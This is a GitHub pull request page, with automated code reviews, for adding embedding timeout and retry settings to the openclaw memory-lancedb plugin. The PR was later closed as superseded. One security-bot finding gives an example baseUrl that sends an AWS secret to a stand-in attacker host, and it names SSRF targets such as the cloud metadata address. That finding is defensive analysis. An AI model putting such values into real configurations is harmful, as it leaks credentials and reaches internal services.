Skip to content

memory-lancedb: add configurable timeout/retry for embedding calls#56532

Closed
amittell wants to merge 4 commits into
openclaw:mainfrom
amittell:fix/lancedb-embedding-timeout-v2
Closed

memory-lancedb: add configurable timeout/retry for embedding calls#56532
amittell wants to merge 4 commits into
openclaw:mainfrom
amittell:fix/lancedb-embedding-timeout-v2

Conversation

@amittell

@amittell amittell commented Mar 28, 2026

Copy link
Copy Markdown
Contributor

Replaces #56517 (closed, could not reopen).

  • Add embedding.timeoutMs (default 10s) and embedding.maxRetries (default 1) to memory-lancedb plugin config
  • Prevents cascading Connection error failures during API rate-limit storms
  • Also bumps LaunchAgent ThrottleInterval from 1s to 10s

Real behavior proof

  • Behavior or issue addressed: memory-lancedb's OpenAI-SDK embedding client had no operator-tunable timeout/retry budget. A hung or 5xx-storming embedding backend blocks on the SDK default (600000ms) and stalls every agent turn that triggers auto-recall. This PR lets operators bound it via embedding.timeoutMs / embedding.maxRetries. Per ClawSweeper review, the bounds now apply ONLY when explicitly configured; unset installs keep the SDK defaults (no upgrade behavior change).
  • Real environment tested: local openclaw checkout (upgrade onto current upstream/main) with the bundled openai SDK the plugin loads at runtime, exercised against a blackhole TCP endpoint that accepts the connection but never responds (simulating a hung embedding backend).
  • Exact steps or command run after this patch:
    # blackhole server + the same OpenAI client the plugin constructs, with the
    # configured bound applied:
    node ./embed-timeout-proof.mjs   # full script in PR discussion
    # core: new OpenAI({ baseURL: <blackhole>, timeout: 2000, maxRetries: 1 })
    #         .embeddings.create({ model, input })
  • Evidence after fix: captured live from the blackhole run via node against the bundled openai SDK in ~/.openclaw/local checkout:
    blackhole embedding endpoint listening at http://127.0.0.1:60765/v1 (never responds)
    configured timeoutMs=2000 maxRetries=1: failed after 4520ms — APIConnectionTimeoutError: Request timed out.
    
    The configured bound aborts at 2000ms, retries once, and surfaces APIConnectionTimeoutError after ~4.5s total — instead of hanging on the SDK default 600000ms. The deployed wiring in extensions/memory-lancedb/index.ts now spreads timeout/maxRetries into the new OpenAI({...}) constructor only when set (...(timeoutMs !== undefined ? { timeout: timeoutMs } : {})), so unconfigured installs retain SDK defaults.
  • Observed result after fix: With embedding.timeoutMs set, a hung endpoint fails fast at the configured bound. With it unset, the OpenAI SDK default (600000ms / 2 retries) is preserved unchanged — no regression for installs with slow-but-working endpoints (the upgrade risk ClawSweeper flagged). Config-layer clamping still rejects out-of-range values (timeoutMs to [1000, 60000], maxRetries to [0, 5]).
  • What was not tested: A real upstream OpenAI 5xx wave (used a local blackhole to deterministically reproduce the hang). Behavior on a partially-responsive endpoint that sends headers then stalls mid-body (the SDK's bodyTimeout governs that path, unchanged by this PR).

Copilot AI review requested due to automatic review settings March 28, 2026 17:15
@openclaw-barnacle openclaw-barnacle Bot added gateway Gateway runtime extensions: memory-lancedb Extension: memory-lancedb size: S labels Mar 28, 2026
@greptile-apps

greptile-apps Bot commented Mar 28, 2026

Copy link
Copy Markdown
Contributor

Greptile Summary

This PR adds configurable embedding.timeoutMs (default 10 s) and embedding.maxRetries (default 1) to the memory-lancedb plugin, propagating both into the OpenAI client constructor and as a per-request override. It also bumps the launchd ThrottleInterval from 1 s to 10 s to mitigate rapid crash-loop respawns.

Issues found:

  • Stale test assertion (index.test.ts lines 288–292): The original toHaveBeenCalledWith(params) (no second arg) was not removed when the new assertion toHaveBeenCalledWith(params, { timeout: 10_000 }) was added. Because embeddingsCreate is now always called with two arguments, the old assertion will fail — Vitest's toHaveBeenCalledWith requires an exact argument match. The old assertion needs to be deleted.

Other notes:

  • Passing timeout both to the OpenAI client constructor and as a per-request option is harmless (per-request wins); the constructor-level timeout acts as a safety net for any other incidental requests made through the same client instance.
  • Reducing maxRetries from the SDK default (2) to 1 is intentional and well-motivated for rate-limit storm mitigation.
  • The ThrottleInterval increase trades a slightly slower intentional restart for meaningful protection against rapid crash loops — reasonable for a daemon.

Confidence Score: 4/5

Safe to merge once the stale test assertion is removed — it will cause CI failures as-is.

One P1 finding: the old toHaveBeenCalledWith assertion in index.test.ts was not removed and will fail now that embeddingsCreate receives a second argument. All other changes are straightforward and correct.

extensions/memory-lancedb/index.test.ts — the stale assertion at lines 288–292 must be removed before merging.

Important Files Changed

Filename Overview
extensions/memory-lancedb/config.ts Adds optional timeoutMs and maxRetries fields to the embedding config type, schema validation, and UI field descriptors. Changes look correct.
extensions/memory-lancedb/index.ts Adds DEFAULT_EMBEDDING_TIMEOUT_MS (10 s) and DEFAULT_EMBEDDING_MAX_RETRIES (1) constants; passes them into the OpenAI client constructor and also overrides per-request via the options arg to embeddings.create. Logic is sound.
extensions/memory-lancedb/index.test.ts Adds a new toHaveBeenCalledWith assertion that includes the timeout option, but the old assertion (without the timeout arg) was not removed — it will now fail because embeddingsCreate is called with two arguments.
src/daemon/launchd-plist.ts Bumps LAUNCH_AGENT_THROTTLE_INTERVAL_SECONDS from 1 to 10 to prevent rapid respawn storms; comment updated to reflect the new tradeoff.

Comments Outside Diff (1)

  1. extensions/memory-lancedb/index.test.ts, line 288-292 (link)

    P1 Stale assertion will fail after this change

    The original assertion at lines 288–292 checks that embeddingsCreate was called with only the params object and no second argument. However, after this PR the call site becomes this.client.embeddings.create(params, { timeout: this.timeoutMs }), so the mock is now invoked with two arguments. Vitest's toHaveBeenCalledWith performs an exact argument match — a call of fn(a, b) does not satisfy expect(fn).toHaveBeenCalledWith(a).

    The old assertion should be removed (or replaced by the new one below it), otherwise this test will fail:

    Prompt To Fix With AI
    This is a comment left during a code review.
    Path: extensions/memory-lancedb/index.test.ts
    Line: 288-292
    
    Comment:
    **Stale assertion will fail after this change**
    
    The original assertion at lines 288–292 checks that `embeddingsCreate` was called with only the params object and no second argument. However, after this PR the call site becomes `this.client.embeddings.create(params, { timeout: this.timeoutMs })`, so the mock is now invoked with two arguments. Vitest's `toHaveBeenCalledWith` performs an exact argument match — a call of `fn(a, b)` does **not** satisfy `expect(fn).toHaveBeenCalledWith(a)`.
    
    The old assertion should be removed (or replaced by the new one below it), otherwise this test will fail:
    
    
    
    How can I resolve this? If you propose a fix, please make it concise.
Prompt To Fix All With AI
This is a comment left during a code review.
Path: extensions/memory-lancedb/index.test.ts
Line: 288-292

Comment:
**Stale assertion will fail after this change**

The original assertion at lines 288–292 checks that `embeddingsCreate` was called with only the params object and no second argument. However, after this PR the call site becomes `this.client.embeddings.create(params, { timeout: this.timeoutMs })`, so the mock is now invoked with two arguments. Vitest's `toHaveBeenCalledWith` performs an exact argument match — a call of `fn(a, b)` does **not** satisfy `expect(fn).toHaveBeenCalledWith(a)`.

The old assertion should be removed (or replaced by the new one below it), otherwise this test will fail:

```suggestion
      expect(embeddingsCreate).toHaveBeenCalledWith(
        {
          model: "text-embedding-3-small",
          input: "hello dimensions",
          dimensions: 1024,
        },
        { timeout: 10_000 },
      );
```

How can I resolve this? If you propose a fix, please make it concise.

Reviews (1): Last reviewed commit: "memory-lancedb: add configurable timeout..." | Re-trigger Greptile

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds configurability to the memory-lancedb plugin’s embedding request behavior (timeout + retries) to reduce cascading failures during provider rate-limit/connectivity events, and increases launchd relaunch throttling to avoid respawn storms.

Changes:

  • Add embedding.timeoutMs (default 10s) and embedding.maxRetries (default 1) to memory-lancedb config + UI hints.
  • Apply the configured timeout/retry settings to the OpenAI embeddings client and per-request call.
  • Increase LaunchAgent ThrottleInterval from 1s to 10s.

Reviewed changes

Copilot reviewed 4 out of 4 changed files in this pull request and generated 2 comments.

File Description
src/daemon/launchd-plist.ts Increase ThrottleInterval constant to reduce launchd respawn storms.
extensions/memory-lancedb/index.ts Thread embedding timeout/retries into the OpenAI client and embedding calls.
extensions/memory-lancedb/index.test.ts Update test expectations for the new timeout request option.
extensions/memory-lancedb/config.ts Extend plugin config parsing + UI hints to support timeout/retry settings.

Comment thread extensions/memory-lancedb/index.test.ts Outdated
Comment thread extensions/memory-lancedb/config.ts Outdated

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 149c4d2eb5

ℹ️ About Codex in GitHub

Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".

Comment thread extensions/memory-lancedb/config.ts Outdated
@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch from 149c4d2 to 871a86e Compare April 5, 2026 14:53

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 871a86eed7

ℹ️ About Codex in GitHub

Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".

Comment thread extensions/memory-lancedb/index.test.ts Outdated
@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch from 871a86e to 55f94c5 Compare April 15, 2026 01:16
@aisle-research-bot

aisle-research-bot Bot commented Apr 15, 2026

Copy link
Copy Markdown

🔒 Aisle Security Analysis

We found 1 potential security issue(s) in this PR:

# Severity Title
1 🟠 High SSRF and environment secret exfiltration via configurable OpenAI baseUrl with ${ENV} expansion
1. 🟠 SSRF and environment secret exfiltration via configurable OpenAI baseUrl with ${ENV} expansion
Property Value
Severity High
CWE CWE-918
Location extensions/memory-lancedb/config.ts:89-96

Description

memory-lancedb allows the embedding baseUrl to be configured and also performs ${ENV_VAR} expansion on it. The resulting URL is passed directly to the OpenAI SDK as baseURL, which will issue HTTP requests to that host.

If an attacker can influence the plugin configuration (e.g., via a shared config file checked into a repo, or any other untrusted config channel), this enables:

  • SSRF: set embedding.baseUrl to an internal URL (e.g., http://127.0.0.1:... or http://169.254.169.254/...) and cause the process to make requests to internal services.
  • Secret exfiltration amplification: embed environment variables into the URL (e.g., https://attacker.tld/leak?x=${AWS_SECRET_ACCESS_KEY}), which are expanded by resolveEnvVars and then transmitted to the attacker-controlled server.
  • Increased impact via retries: newly added maxRetries causes multiple requests on transient failures, increasing the number of SSRF/exfil attempts.

Vulnerable code (env var expansion and use as base URL):

function resolveEnvVars(value: string): string {
  return value.replace(/\$\{([^}]+)\}/g, (_, envVar) => {
    const envValue = process.env[envVar];
    if (!envValue) {
      throw new Error(`Environment variable ${envVar} is not set`);
    }
    return envValue;
  });
}

baseUrl:
  typeof embedding.baseUrl === "string" ? resolveEnvVars(embedding.baseUrl) : undefined,

Request sink:

this.client = new OpenAI({
  apiKey,
  baseURL: baseUrl,
  timeout: timeoutMs ?? DEFAULT_EMBEDDING_TIMEOUT_MS,
  maxRetries: maxRetries ?? DEFAULT_EMBEDDING_MAX_RETRIES,
});

Recommendation

Treat embedding.baseUrl as a high-risk setting.

  • Do not apply ${ENV} expansion to URLs (keep it for API keys only), or require an explicit opt-in flag for env expansion.
  • Validate/allowlist baseUrl:
    • allow only https: (and optionally http: for localhost dev)
    • block link-local/private/loopback IP ranges and hostnames
    • optionally allowlist known OpenAI-compatible hosts

Example hardening:

function validateBaseUrl(raw: string): string {
  const url = new URL(raw);
  if (url.protocol !== "https:") {
    throw new Error("embedding.baseUrl must use https");
  }// Option A: allowlist known hosts
  const allowedHosts = new Set(["api.openai.com", "api.groq.com"]);
  if (!allowedHosts.has(url.hostname)) {
    throw new Error("embedding.baseUrl host is not allowed");
  }
  return url.toString();
}

const baseUrl = typeof embedding.baseUrl === "string"
  ? validateBaseUrl(embedding.baseUrl) // no resolveEnvVars here
  : undefined;

Additionally, consider keeping maxRetries at 0 by default when a non-default baseUrl is used, to reduce SSRF/exfil amplification.


Analyzed PR: #56532 at commit f328aad

Last updated on: 2026-04-28T01:48:05Z

@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch 2 times, most recently from 57e4bec to 63207dd Compare April 16, 2026 03:14
@openclaw-barnacle openclaw-barnacle Bot added size: M and removed gateway Gateway runtime size: S labels Apr 16, 2026
@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch 2 times, most recently from 3a879f8 to 7450fa6 Compare April 27, 2026 00:03
@openclaw-barnacle openclaw-barnacle Bot added the docs Improvements or additions to documentation label Apr 27, 2026
@clawsweeper

clawsweeper Bot commented Apr 27, 2026

Copy link
Copy Markdown
Contributor

Codex review: found issues before merge. Reviewed May 30, 2026, 11:12 AM ET / 15:12 UTC.

Summary
The PR adds embedding.timeoutMs and embedding.maxRetries config/schema/UI metadata for memory-lancedb, wires them into the direct OpenAI SDK embedding client, adds config tests, and adds a changelog entry.

PR surface: Source +87, Tests +127, Docs +1. Total +215 across 5 files.

Reproducibility: yes. source-reproducible. Current main and the PR diff show auto-recall passes a hardcoded request timeout, and the OpenAI SDK uses request timeout before client timeout, so the new config cannot bound that agent-turn path.

Review metrics: 1 noteworthy metric.

  • Plugin config surface: 2 added. The PR adds user-facing memory-lancedb timeout/retry keys, so maintainers need upgrade, setup, and no-op-mode proof before merge.

Merge readiness
Overall: 🦐 gold shrimp
Proof: 🐚 platinum hermit
Patch quality: 🦐 gold shrimp
Result: needs maintainer review before merge.

Overall follows the weaker of proof and patch quality, so missing proof can cap an otherwise strong patch.

Rank-up moves:

  • Thread or explicitly scope the configured timeout/retry behavior for auto-recall and provider-backed modes.
  • Remove the CHANGELOG.md edit and keep release-note context in the PR body or landing commit.
  • Re-run the focused memory-lancedb config/runtime tests after the behavior changes.

Risk before merge

  • [P1] The new config surface is availability-sensitive: as written, the configured budget does not cover auto-recall and is advertised in provider-backed modes that ignore it.
  • [P2] The PR still edits release-owned CHANGELOG.md, and that entry describes fallback behavior that conflicts with manifest validation rejecting out-of-range values.

Maintainer options:

  1. Fix the config scope before merge (recommended)
    Update the branch so the new settings either apply to every advertised direct embedding path, including auto-recall, and unsupported provider modes are clearly scoped or rejected.
  2. Accept direct-client-only behavior explicitly
    Maintainers can choose to ship this as a direct OpenAI client control only, but the manifest help, PR text, and tests should make provider-backed and auto-recall behavior explicit.
  3. Pause for provider API design
    If the desired outcome is a generic provider-level timeout/retry contract, pause this PR and track a memory embedding provider API extension instead.

Next step before merge

  • [P2] Needs author or maintainer changes for config scope, auto-recall coverage, and release-owned changelog handling before normal merge review can resume.

Security
Cleared: No concrete new security or supply-chain issue was found in the diff; the earlier baseUrl/env-expansion concern is pre-existing operator-controlled config, and the new retry field is bounded and optional.

Review findings

  • [P2] Apply the configured budget to auto-recall too — extensions/memory-lancedb/index.ts:373-374
  • [P2] Do not advertise no-op provider settings — extensions/memory-lancedb/openclaw.plugin.json:46-52
  • [P3] Remove the release-owned changelog edit — CHANGELOG.md:381
Review details

Best possible solution:

Land a narrow memory-lancedb change where timeout/retry settings are applied to every advertised direct embedding path, unsupported provider-adapter modes are clearly scoped or rejected, and release notes stay in the PR body or landing commit instead of CHANGELOG.md.

Do we have a high-confidence way to reproduce the issue?

Yes, source-reproducible. Current main and the PR diff show auto-recall passes a hardcoded request timeout, and the OpenAI SDK uses request timeout before client timeout, so the new config cannot bound that agent-turn path.

Is this the best way to solve the issue?

No. Wiring the values into the direct OpenAI constructor is useful, but it is not the complete fix while auto-recall overrides that constructor budget and provider-backed modes accept settings they cannot honor.

Full review comments:

  • [P2] Apply the configured budget to auto-recall too — extensions/memory-lancedb/index.ts:373-374
    The new constructor timeout is overridden when auto-recall calls embed(..., { timeoutMs: DEFAULT_AUTO_RECALL_TIMEOUT_MS }); openai-node uses request options before client defaults, so embedding.timeoutMs and embedding.maxRetries will not bound the agent-turn path this PR describes. Thread the configured value into that path or scope the setting away from auto-recall.
    Confidence: 0.88
  • [P2] Do not advertise no-op provider settings — extensions/memory-lancedb/openclaw.plugin.json:46-52
    embedding.timeoutMs and embedding.maxRetries validate for every embedding config, but createEmbeddings only passes them when using the direct OpenAI API-key client; provider-backed modes still call embedQuery(text) without those options. Scope the manifest/help/schema to the direct client or add provider support so operators do not configure a no-op availability control.
    Confidence: 0.86
  • [P3] Remove the release-owned changelog edit — CHANGELOG.md:381
    Normal PRs should not edit release-owned CHANGELOG.md, and this inserted entry also says out-of-range values silently fall back even though the manifest schema rejects them before the runtime parser in normal plugin loading. Keep the release-note context in the PR body or landing message instead.
    Confidence: 0.84

Overall correctness: patch is incorrect
Overall confidence: 0.88

AGENTS.md: found and applied where relevant.

Codex review notes: model gpt-5.5, reasoning high; reviewed against 8539e0283a55.

Label changes

Label changes:

  • add merge-risk: 🚨 compatibility: The PR adds new plugin config/schema/UI keys whose accepted behavior differs across direct and provider-backed embedding modes.
  • add proof: sufficient: Contributor real behavior proof is sufficient. The PR body includes after-fix live output from a local blackhole endpoint showing the configured OpenAI SDK timeout/retry path failing in about 4.5s; this proves the direct-client path but does not remove the code findings.

Label justifications:

  • P2: This is a normal-priority plugin availability improvement with limited blast radius but real merge blockers in the config behavior.
  • merge-risk: 🚨 compatibility: The PR adds new plugin config/schema/UI keys whose accepted behavior differs across direct and provider-backed embedding modes.
  • merge-risk: 🚨 availability: The settings are meant to bound hung embedding calls, but key advertised paths can still stall or ignore the configured budget after merge.
  • rating: 🦐 gold shrimp: Overall readiness is 🦐 gold shrimp; proof is 🐚 platinum hermit and patch quality is 🦐 gold shrimp.
  • status: ⏳ waiting on author: ClawSweeper has contributor-facing work open and is waiting for author action. Sufficient (live_output): The PR body includes after-fix live output from a local blackhole endpoint showing the configured OpenAI SDK timeout/retry path failing in about 4.5s; this proves the direct-client path but does not remove the code findings.
  • proof: sufficient: Contributor real behavior proof is sufficient. The PR body includes after-fix live output from a local blackhole endpoint showing the configured OpenAI SDK timeout/retry path failing in about 4.5s; this proves the direct-client path but does not remove the code findings.
Evidence reviewed

PR surface:

Source +87, Tests +127, Docs +1. Total +215 across 5 files.

View PR surface stats
Area Files Added Removed Net
Source 3 91 4 +87
Tests 1 127 0 +127
Docs 1 1 0 +1
Config 0 0 0 0
Generated 0 0 0 0
Other 0 0 0 0
Total 5 219 4 +215

Acceptance criteria:

  • [P1] node scripts/run-vitest.mjs extensions/memory-lancedb/config.test.ts.
  • [P1] node scripts/run-vitest.mjs extensions/memory-lancedb/index.test.ts.
  • [P1] git diff --check.

What I checked:

  • Repository policy read: Read the full root AGENTS.md and the scoped extensions/AGENTS.md; their config-surface, plugin metadata, and release-owned changelog guidance affected this review. (AGENTS.md:1, 8539e0283a55)
  • Current main behavior: Current main has no embedding.timeoutMs or embedding.maxRetries fields in MemoryConfig and constructs the direct OpenAI client with only apiKey and baseURL. (extensions/memory-lancedb/index.ts:361, 8539e0283a55)
  • PR diff wiring: The PR adds timeout/retry fields and passes them into new OpenAI(...) only on the direct provider === "openai" && apiKey branch. (extensions/memory-lancedb/index.ts:373, de58b85d0eb7)
  • Provider-backed gap: The memory embedding provider call options expose only signal, and the memory-lancedb provider adapter calls embedQuery(text) without timeout/retry options, so provider-backed embedding configs can accept the new keys while ignoring them. (src/plugins/memory-embedding-providers.ts:20, 8539e0283a55)
  • OpenAI SDK contract: openai 6.39.0 documents a 10 minute default timeout and maxRetries default of 2; its implementation uses per-request options.timeout ?? this.timeout, so memory-lancedb's auto-recall request timeout overrides the constructor timeout added by this PR.
  • Area history: History around memory-lancedb points to recent broad maintenance by Peter Steinberger, baseUrl/dimensions introduction by Rishabh Jain, and embedding runtime/proxy work by Neerav Makwana and Nimrod Gutman. (extensions/memory-lancedb/index.ts:352, 8539e0283a55)

Likely related people:

  • steipete: Recent commits touched the full memory-lancedb plugin surface and broader plugin/config policy paths. (role: recent area contributor; confidence: high; commits: 98a1aa491fad, 27ae826f6525; files: extensions/memory-lancedb/config.ts, extensions/memory-lancedb/index.ts, extensions/memory-lancedb/openclaw.plugin.json)
  • rish2jain: The custom OpenAI baseUrl and dimensions support that this PR extends appears to date to the memory-lancedb feature commit for that surface. (role: introduced related behavior; confidence: high; commits: 6675aacb5eb4; files: extensions/memory-lancedb/config.ts, extensions/memory-lancedb/index.ts, extensions/memory-lancedb/openclaw.plugin.json)
  • Neerav Makwana: Recent merged work changed LanceDB embedding bootstrap/proxy behavior in the same runtime path. (role: adjacent embedding runtime contributor; confidence: medium; commits: 09a44530266e; files: extensions/memory-lancedb/index.ts, extensions/memory-lancedb/index.test.ts)
  • Vignesh Natarajan: Earlier memory-lancedb hardening and auto-capture/recall behavior changes are adjacent to this PR's availability-sensitive memory path. (role: memory hardening contributor; confidence: medium; commits: 61725fb37e33, ed7d83bcfc7f; files: extensions/memory-lancedb/index.ts)
What the crustacean ranks mean
  • 🦀 challenger crab: rare, exceptional readiness with strong proof, clean implementation, and convincing validation.
  • 🦞 diamond lobster: very strong readiness with only minor maintainer review expected.
  • 🐚 platinum hermit: good normal PR, likely mergeable with ordinary maintainer review.
  • 🦐 gold shrimp: useful signal, but proof or patch confidence is still limited.
  • 🦪 silver shellfish: thin signal; proof, validation, or implementation needs work.
  • 🧂 unranked krab: not merge-ready because proof is missing/unusable or there are serious correctness or safety concerns.
  • 🌊 off-meta tidepool: rating does not apply to this item.

Shiny media proof means a screenshot, video, or linked artifact directly shows the changed behavior. Runtime, network, CSP, and security claims still need visible diagnostics.

How this review workflow works
  • ClawSweeper keeps one durable marker-backed review comment per issue or PR.
  • Re-runs edit this comment so the latest verdict, findings, and automation markers stay together instead of adding duplicate bot comments.
  • A fresh review can be triggered by eligible @clawsweeper re-review comments, exact-item GitHub events, scheduled/background review runs, or manual workflow dispatch.
  • PR/issue authors and users with repository write access can comment @clawsweeper re-review or @clawsweeper re-run on an open PR or issue to request a fresh review only.
  • Maintainers can also comment @clawsweeper review to request a fresh review only.
  • Fresh-review commands do not start repair, autofix, rebase, CI repair, or automerge.
  • Maintainer-only repair and merge flows require explicit commands such as @clawsweeper autofix, @clawsweeper automerge, @clawsweeper fix ci, or @clawsweeper address review.
  • Maintainers can comment @clawsweeper explain to ask for more context, or @clawsweeper stop to stop active automation.

@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch from 7450fa6 to f328aad Compare April 28, 2026 01:46
@openclaw-barnacle openclaw-barnacle Bot removed the docs Improvements or additions to documentation label Apr 28, 2026
@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch 4 times, most recently from 40e0ed6 to d7d898b Compare May 3, 2026 14:43
@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch from d7d898b to c96e66c Compare May 17, 2026 00:39
@openclaw-barnacle openclaw-barnacle Bot added the triage: needs-real-behavior-proof Candidate: external PR needs after-fix proof from a real setup. label May 17, 2026
@clawsweeper clawsweeper Bot added the P2 Normal backlog priority with limited blast radius. label May 17, 2026
@openclaw-barnacle openclaw-barnacle Bot added the docs Improvements or additions to documentation label May 20, 2026
@amittell

Copy link
Copy Markdown
Contributor Author

@clawsweeper re-review

@openclaw-barnacle openclaw-barnacle Bot removed the proof: sufficient ClawSweeper judged the real behavior proof convincing. label May 20, 2026
@clawsweeper

clawsweeper Bot commented May 20, 2026

Copy link
Copy Markdown
Contributor

🦞🧹
ClawSweeper re-review requested.

I asked ClawSweeper to review this item again.
Action: item re-review queued (workflow sweep.yml, event repository_dispatch).
Result: the existing ClawSweeper review comment will be edited in place when the review finishes.

Re-review progress:

@clawsweeper clawsweeper Bot added proof: sufficient ClawSweeper judged the real behavior proof convincing. rating: 🦐 gold shrimp Decent PR readiness signal, but merge confidence is limited. status: ⏳ waiting on author ClawSweeper has contributor-facing work open and is waiting for author action. and removed rating: 🐚 platinum hermit Good normal PR readiness with ordinary maintainer review expected. status: 👀 ready for maintainer look ClawSweeper has no concrete contributor-facing blocker left for this PR. labels May 20, 2026
@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch from 813f761 to f25ea71 Compare May 20, 2026 23:10
@openclaw-barnacle openclaw-barnacle Bot removed the proof: sufficient ClawSweeper judged the real behavior proof convincing. label May 20, 2026
@clawsweeper clawsweeper Bot added the proof: sufficient ClawSweeper judged the real behavior proof convincing. label May 20, 2026
@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch from f25ea71 to f19a655 Compare May 20, 2026 23:36
@openclaw-barnacle openclaw-barnacle Bot removed the proof: sufficient ClawSweeper judged the real behavior proof convincing. label May 20, 2026
@clawsweeper clawsweeper Bot added the proof: sufficient ClawSweeper judged the real behavior proof convincing. label May 20, 2026
@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch from f19a655 to c68cbfa Compare May 23, 2026 22:37
@openclaw-barnacle openclaw-barnacle Bot removed the docs Improvements or additions to documentation label May 23, 2026
@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch from c68cbfa to ea3f219 Compare May 23, 2026 22:43
@openclaw-barnacle openclaw-barnacle Bot removed the proof: sufficient ClawSweeper judged the real behavior proof convincing. label May 23, 2026
@clawsweeper clawsweeper Bot added the proof: sufficient ClawSweeper judged the real behavior proof convincing. label May 23, 2026
@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch from ea3f219 to b1e2e23 Compare May 28, 2026 15:52
@openclaw-barnacle openclaw-barnacle Bot removed the proof: sufficient ClawSweeper judged the real behavior proof convincing. label May 28, 2026
@clawsweeper clawsweeper Bot added the proof: sufficient ClawSweeper judged the real behavior proof convincing. label May 28, 2026
amittell added 4 commits May 30, 2026 11:02
Add timeoutMs and maxRetries config fields to the memory-lancedb
embedding pipeline. Both fields are validated and clamped to safe
ranges; out-of-bounds values silently fall back to undefined (SDK
defaults). Wires the values into OpenAiCompatibleEmbeddings constructor
options and exposes them in plugin manifest configSchema and uiHints.
@amittell
amittell force-pushed the fix/lancedb-embedding-timeout-v2 branch from b1e2e23 to de58b85 Compare May 30, 2026 15:04
@openclaw-barnacle openclaw-barnacle Bot removed the proof: sufficient ClawSweeper judged the real behavior proof convincing. label May 30, 2026
@steipete

Copy link
Copy Markdown
Contributor

Thanks @amittell. I landed the no-new-config version of this reliability fix on main:

9e2bd8b2f7

The landed shape adds internal 15s deadlines and 60s degraded cooldowns for the memory recall paths, forwards AbortSignal through provider-backed memory-lancedb embeddings, and documents the existing provider-selection escape hatch for unreachable OpenAI embeddings.

We are intentionally not adding new public timeout or retry config knobs here; the supported operator action is to use the existing memorySearch.provider / model / remote provider selection when OpenAI embeddings are unreachable. Closing this PR as superseded/not planned for the config-surface part.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

extensions: memory-lancedb Extension: memory-lancedb merge-risk: 🚨 availability 🚨 May cause crashes, hangs, restart loops, stalls, or process outages. merge-risk: 🚨 compatibility 🚨 May break existing users, config, migrations, defaults, or upgrade paths. P2 Normal backlog priority with limited blast radius. proof: sufficient ClawSweeper judged the real behavior proof convincing. proof: supplied External PR includes structured after-fix real behavior proof. rating: 🦐 gold shrimp Decent PR readiness signal, but merge confidence is limited. size: M status: ⏳ waiting on author ClawSweeper has contributor-facing work open and is waiting for author action.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants